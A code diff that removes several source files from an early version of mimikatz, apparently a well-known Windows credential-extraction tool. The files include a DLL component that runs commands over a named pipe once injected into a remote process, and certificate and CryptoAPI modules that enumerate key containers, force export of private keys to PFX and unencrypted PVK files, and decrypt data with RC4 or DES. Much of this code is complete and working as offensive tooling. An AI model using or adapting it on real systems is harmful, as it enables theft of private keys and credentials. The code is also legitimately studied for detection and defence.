typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);
|
||||
typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString);
|
||||
typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
|
||||
typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct);
|
||||
typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize);
|
||||
typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
|
||||
|
||||
typedef struct _RTL_BALANCED_LINKS {
|
||||
struct _RTL_BALANCED_LINKS *Parent;
|
||||
struct _RTL_BALANCED_LINKS *LeftChild;
|
||||
struct _RTL_BALANCED_LINKS *RightChild;
|
||||
CHAR Balance;
|
||||
UCHAR Reserved[3];
|
||||
} RTL_BALANCED_LINKS;
|
||||
typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS;
|
||||
|
||||
typedef enum _RTL_GENERIC_COMPARE_RESULTS {
|
||||
GenericLessThan,
|
||||
GenericGreaterThan,
|
||||
GenericEqual
|
||||
} RTL_GENERIC_COMPARE_RESULTS;
|
||||
|
||||
typedef struct _RTL_AVL_TABLE {
|
||||
RTL_BALANCED_LINKS BalancedRoot;
|
||||
PVOID OrderedPointer;
|
||||
ULONG WhichOrderedElement;
|
||||
ULONG NumberGenericTableElements;
|
||||
ULONG DepthOfTree;
|
||||
PRTL_BALANCED_LINKS RestartKey;
|
||||
ULONG DeleteCount;
|
||||
PRTL_AVL_COMPARE_ROUTINE CompareRoutine;
|
||||
PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine;
|
||||
PRTL_AVL_FREE_ROUTINE FreeRoutine;
|
||||
PVOID TableContext;
|
||||
} RTL_AVL_TABLE, *PRTL_AVL_TABLE;
|
@ -1,125 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "kmodel.h"
|
||||
#include <comutil.h>
|
||||
|
||||
HMODULE g_hModule = NULL;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lpParameter)
|
||||
{
|
||||
mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
|
||||
|
||||
bool succes = false;
|
||||
for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++)
|
||||
{
|
||||
succes = monCommunicator->createClient();
|
||||
if(!succes)
|
||||
{
|
||||
Sleep(3000);
|
||||
}
|
||||
}
|
||||
|
||||
if(succes)
|
||||
{
|
||||
ptrFunctionString maFonctionString = reinterpret_cast<ptrFunctionString>(GetProcAddress(g_hModule, "getDescription"));
|
||||
|
||||
wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi";
|
||||
if(maFonctionString)
|
||||
{
|
||||
wstring * maDescription = new wstring();
|
||||
if(maFonctionString(maDescription))
|
||||
{
|
||||
monBuffer.append(L"\n\n");
|
||||
monBuffer.append(*maDescription);
|
||||
}
|
||||
delete maDescription;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if(monCommunicator->writeToPipe(monBuffer))
|
||||
{
|
||||
for(;;)
|
||||
{
|
||||
if(monCommunicator->readFromPipe(monBuffer))
|
||||
{
|
||||
wstring fonction = monBuffer;
|
||||
vector<wstring> arguments;
|
||||
|
||||
size_t monIndex = fonction.find(L' ');
|
||||
|
||||
if(monIndex != wstring::npos)
|
||||
{
|
||||
arguments = mod_parseur::parse(fonction.substr(monIndex + 1));
|
||||
fonction = fonction.substr(0, monIndex);
|
||||
}
|
||||
|
||||
_bstr_t procDll(wstring(fonction.begin(), fonction.end()).c_str());
|
||||
|
||||
ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, (const char*)procDll));
|
||||
|
||||
if(maFonction)
|
||||
{
|
||||
if(maFonction(monCommunicator, &arguments))
|
||||
{
|
||||
monBuffer = L"@";
|
||||
}
|
||||
else // La fonction à retourné FALSE, il y a donc anomalie bloquante sur le canal
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
monBuffer = L"@Méthode \'";
|
||||
monBuffer.append(fonction);
|
||||
monBuffer.append(L"\' introuvable !\n");
|
||||
}
|
||||
|
||||
if(!monCommunicator->writeToPipe(monBuffer))
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
delete monCommunicator;
|
||||
|
||||
FreeLibraryAndExitThread(g_hModule, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool sendTo(mod_pipe * monPipe, wstring message)
|
||||
{
|
||||
wstring reponse = L"#";
|
||||
reponse.append(message);
|
||||
|
||||
return monPipe->writeToPipe(reponse);
|
||||
}
|
||||
|
||||
|
||||
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments)
|
||||
{
|
||||
bool sendOk = sendTo(monPipe, L"pong");
|
||||
|
||||
for(vector<wstring>::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; ++monArgument)
|
||||
{
|
||||
wstring maReponse = L" - argument:";
|
||||
maReponse.append(*monArgument);
|
||||
sendOk = sendTo(monPipe, maReponse);
|
||||
}
|
||||
|
||||
if(sendOk)
|
||||
sendOk = sendTo(monPipe, L"\n");
|
||||
|
||||
return sendOk;
|
||||
}
|
@ -1,21 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_pipe.h"
|
||||
#include "mod_parseur.h"
|
||||
|
||||
#define __kextdll extern "C" __declspec(dllexport)
|
||||
|
||||
typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector<wstring> * mesArguments);
|
||||
typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription);
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
|
||||
DWORD WINAPI ThreadProc(LPVOID lpParameter);
|
||||
|
||||
bool sendTo(mod_pipe * monPipe, wstring message);
|
||||
|
||||
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments);
|
@ -1,240 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_crypto.h"
|
||||
|
||||
bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore)
|
||||
{
|
||||
map<wstring, DWORD> mesEmplacements;
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES));
|
||||
|
||||
map<wstring, DWORD>::iterator monIterateur = mesEmplacements.find(strSystemStore);
|
||||
if(monIterateur != mesEmplacements.end())
|
||||
{
|
||||
*systemStore = monIterateur->second;
|
||||
return true;
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
|
||||
BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg)
|
||||
{
|
||||
reinterpret_cast<vector<wstring> *>(pvArg)->push_back(reinterpret_cast<const wchar_t *>(pvSystemStore));
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
bool mod_crypto::getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore)
|
||||
{
|
||||
return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0);
|
||||
}
|
||||
|
||||
bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName)
|
||||
{
|
||||
bool reussite = false;
|
||||
wchar_t * monBuffer = NULL;
|
||||
|
||||
DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE};
|
||||
|
||||
for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++)
|
||||
{
|
||||
DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0);
|
||||
if(tailleRequise > 1)
|
||||
{
|
||||
monBuffer = new wchar_t[tailleRequise];
|
||||
reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1;
|
||||
certName->assign(monBuffer);
|
||||
delete[] monBuffer;
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD taille = 0;
|
||||
if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille))
|
||||
{
|
||||
BYTE * monBuffer = new BYTE[taille];
|
||||
if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0))
|
||||
{
|
||||
CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast<CRYPT_KEY_PROV_INFO *>(monBuffer);
|
||||
keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)");
|
||||
keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)");
|
||||
keyProvInfo->cProvParam = mesInfos->cProvParam;
|
||||
keyProvInfo->dwFlags = mesInfos->dwFlags;
|
||||
keyProvInfo->dwKeySpec = mesInfos->dwKeySpec;
|
||||
keyProvInfo->dwProvType = mesInfos->dwProvType;
|
||||
}
|
||||
delete[] monBuffer;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password)
|
||||
{
|
||||
bool retour = false;
|
||||
|
||||
HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL);
|
||||
PCCERT_CONTEXT pCertContextCopy = NULL;
|
||||
|
||||
if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy))
|
||||
{
|
||||
CRYPT_DATA_BLOB bDataBlob = {0, NULL};
|
||||
if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
|
||||
{
|
||||
bDataBlob.pbData = new BYTE[bDataBlob.cbData];
|
||||
if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
|
||||
{
|
||||
HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if(hFile && hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD dwBytesWritten;
|
||||
if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten))
|
||||
{
|
||||
retour = FlushFileBuffers(hFile) != 0;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
}
|
||||
delete[] bDataBlob.pbData;
|
||||
}
|
||||
CertFreeCertificateContext(pCertContextCopy);
|
||||
}
|
||||
CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG);
|
||||
|
||||
return retour;
|
||||
}
|
||||
|
||||
bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile)
|
||||
{
|
||||
bool retour = false;
|
||||
|
||||
HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if(hFile && hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD dwBytesWritten;
|
||||
if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten)
|
||||
{
|
||||
retour = FlushFileBuffers(hFile) != 0;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
|
||||
wstring mod_crypto::KeyTypeToString(DWORD keyType)
|
||||
{
|
||||
wostringstream keyTypeStr;
|
||||
switch (keyType)
|
||||
{
|
||||
case AT_KEYEXCHANGE:
|
||||
keyTypeStr << L"AT_KEYEXCHANGE";
|
||||
break;
|
||||
case AT_SIGNATURE:
|
||||
keyTypeStr << L"AT_SIGNATURE";
|
||||
break;
|
||||
default:
|
||||
keyTypeStr << L"? (" << hex << keyType << L")";
|
||||
}
|
||||
return keyTypeStr.str();
|
||||
}
|
||||
|
||||
|
||||
bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec)
|
||||
{
|
||||
bool retour = false;
|
||||
FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport};
|
||||
|
||||
HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if(hFile && hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD dwBytesWritten;
|
||||
if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten))
|
||||
{
|
||||
if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten))
|
||||
{
|
||||
retour = FlushFileBuffers(hFile) != 0;
|
||||
}
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
return retour;
|
||||
}
|
||||
|
||||
bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize)
|
||||
{
|
||||
bool retour = false;
|
||||
HCRYPTPROV hCryptProv = NULL;
|
||||
HCRYPTKEY hKey = NULL;
|
||||
PBYTE buffer = data;
|
||||
DWORD dwWorkingBufferLength = (DWORD)dataSize;
|
||||
|
||||
if(destBuffer && destBufferSize >= dataSize)
|
||||
{
|
||||
RtlCopyMemory(destBuffer, data, dataSize);
|
||||
buffer = destBuffer;
|
||||
}
|
||||
|
||||
if((algorithme == CALG_RC4) && (keySize > 16))
|
||||
{
|
||||
fullRC4(buffer, dataSize, key, keySize);
|
||||
retour = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
|
||||
{
|
||||
GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, (DWORD)keySize};
|
||||
BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize];
|
||||
RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB));
|
||||
RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize);
|
||||
|
||||
if(CryptImportKey(hCryptProv, myKey, (DWORD)(sizeof(GENERICKEY_BLOB) + keySize), 0, CRYPT_EXPORTABLE, &hKey))
|
||||
{
|
||||
if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/
|
||||
retour = (dwWorkingBufferLength == dataSize);
|
||||
CryptDestroyKey(hKey);
|
||||
}
|
||||
delete[] myKey;
|
||||
CryptReleaseContext(hCryptProv, 0);
|
||||
}
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
|
||||
void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les clés >= 128 bits (16 octets)
|
||||
{
|
||||
ULONG i, j, k = 0, kpos = 0;
|
||||
BYTE S[256], *pos = data;
|
||||
|
||||
for (i = 0; i < 256; i++)
|
||||
S[i] = static_cast<BYTE>(i);
|
||||
|
||||
for (i = 0, j = 0; i < 256; i++)
|
||||
{
|
||||
j = (j + S[i] + key[kpos]) & 0xff;
|
||||
kpos++;
|
||||
if (kpos >= keylen)
|
||||
kpos = 0;
|
||||
S_SWAP(i, j);
|
||||
}
|
||||
|
||||
for (i = 0, j = 0; k < data_len; k++)
|
||||
{
|
||||
i = (i + 1) & 0xff;
|
||||
j = (j + S[i]) & 0xff;
|
||||
S_SWAP(i, j);
|
||||
*pos++ ^= S[(S[i] + S[j]) & 0xff];
|
||||
}
|
||||
}
|
@ -1,60 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <wincrypt.h>
|
||||
#include <sstream>
|
||||
#include <map>
|
||||
|
||||
#define PVK_FILE_VERSION_0 0
|
||||
#define PVK_MAGIC 0xb0b5f11e // bob's file
|
||||
#define PVK_NO_ENCRYPT 0
|
||||
#define PVK_RC4_PASSWORD_ENCRYPT 1
|
||||
#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2
|
||||
|
||||
class mod_crypto
|
||||
{
|
||||
public:
|
||||
typedef struct _KIWI_KEY_PROV_INFO {
|
||||
std::wstring pwszContainerName;
|
||||
std::wstring pwszProvName;
|
||||
DWORD dwProvType;
|
||||
DWORD dwFlags;
|
||||
DWORD cProvParam;
|
||||
DWORD dwKeySpec;
|
||||
} KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO;
|
||||
|
||||
private:
|
||||
typedef struct _GENERICKEY_BLOB {
|
||||
BLOBHEADER BlobHeader;
|
||||
DWORD dwKeyLen;
|
||||
} GENERICKEY_BLOB, *PGENERICKEY_BLOB;
|
||||
|
||||
typedef struct _FILE_HDR {
|
||||
DWORD dwMagic;
|
||||
DWORD dwVersion;
|
||||
DWORD dwKeySpec;
|
||||
DWORD dwEncryptType;
|
||||
DWORD cbEncryptData;
|
||||
DWORD cbPvk;
|
||||
} FILE_HDR, *PFILE_HDR;
|
||||
|
||||
static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg);
|
||||
public:
|
||||
static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore);
|
||||
|
||||
static bool getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER);
|
||||
static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName);
|
||||
static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo);
|
||||
|
||||
static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE);
|
||||
static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password);
|
||||
static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile);
|
||||
static wstring KeyTypeToString(DWORD keyType);
|
||||
|
||||
static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0);
|
||||
static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes)
|
||||
};
|
@ -1,138 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_cryptoapi.h"
|
||||
HMODULE mod_cryptoapi::hRsaEng = NULL;
|
||||
|
||||
bool mod_cryptoapi::loadRsaEnh()
|
||||
{
|
||||
if(!hRsaEng)
|
||||
hRsaEng = LoadLibrary(L"rsaenh");
|
||||
return (hRsaEng != NULL);
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::unloadRsaEnh()
|
||||
{
|
||||
if(hRsaEng)
|
||||
FreeLibrary(hRsaEng);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider)
|
||||
{
|
||||
map<wstring, wstring> mesProviders;
|
||||
mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP));
|
||||
|
||||
map<wstring, wstring>::iterator monIterateur = mesProviders.find(ProviderName);
|
||||
*Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType)
|
||||
{
|
||||
map<wstring, DWORD> mesTypes;
|
||||
mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL));
|
||||
mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG));
|
||||
mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS));
|
||||
mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA));
|
||||
mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE));
|
||||
mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL));
|
||||
mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL));
|
||||
mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH));
|
||||
mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG));
|
||||
mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG));
|
||||
mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL));
|
||||
mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL));
|
||||
mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL));
|
||||
mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS));
|
||||
mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG));
|
||||
mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC));
|
||||
mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF));
|
||||
mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES));
|
||||
|
||||
map<wstring, DWORD>::iterator monIterateur = mesTypes.find(ProviderTypeName);
|
||||
if(monIterateur != mesTypes.end())
|
||||
{
|
||||
*ProviderType = monIterateur->second;
|
||||
return true;
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getVectorProviders(vector<wstring> * monVectorProviders)
|
||||
{
|
||||
DWORD index = 0;
|
||||
DWORD provType;
|
||||
DWORD tailleRequise;
|
||||
|
||||
while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise))
|
||||
{
|
||||
wchar_t * monProvider = new wchar_t[tailleRequise];
|
||||
if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise))
|
||||
{
|
||||
monVectorProviders->push_back(monProvider);
|
||||
}
|
||||
delete[] monProvider;
|
||||
index++;
|
||||
}
|
||||
return (GetLastError() == ERROR_NO_MORE_ITEMS);
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine, wstring provider, DWORD providerType)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
HCRYPTPROV hCryptProv = NULL;
|
||||
if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL)))
|
||||
{
|
||||
DWORD tailleRequise = 0;
|
||||
char * containerName = NULL;
|
||||
DWORD CRYPT_first_next = CRYPT_FIRST;
|
||||
bool success = false;
|
||||
|
||||
success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0);
|
||||
while(success)
|
||||
{
|
||||
containerName = new char[tailleRequise];
|
||||
if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast<BYTE *>(containerName), &tailleRequise, CRYPT_first_next) != 0))
|
||||
{
|
||||
wstringstream resultat;
|
||||
resultat << containerName;
|
||||
monVectorContainers->push_back(resultat.str());
|
||||
}
|
||||
delete[] containerName;
|
||||
CRYPT_first_next = CRYPT_NEXT;
|
||||
}
|
||||
reussite = (GetLastError() == ERROR_NO_MORE_ITEMS);
|
||||
CryptReleaseContext(hCryptProv, 0);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport))
|
||||
{
|
||||
*monExport = new BYTE[*tailleExport];
|
||||
if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0)))
|
||||
delete[] monExport;
|
||||
|
||||
}
|
||||
return reussite;
|
||||
}
|
@ -1,26 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <wincrypt.h>
|
||||
#include <sstream>
|
||||
#include <map>
|
||||
|
||||
class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */
|
||||
{
|
||||
private:
|
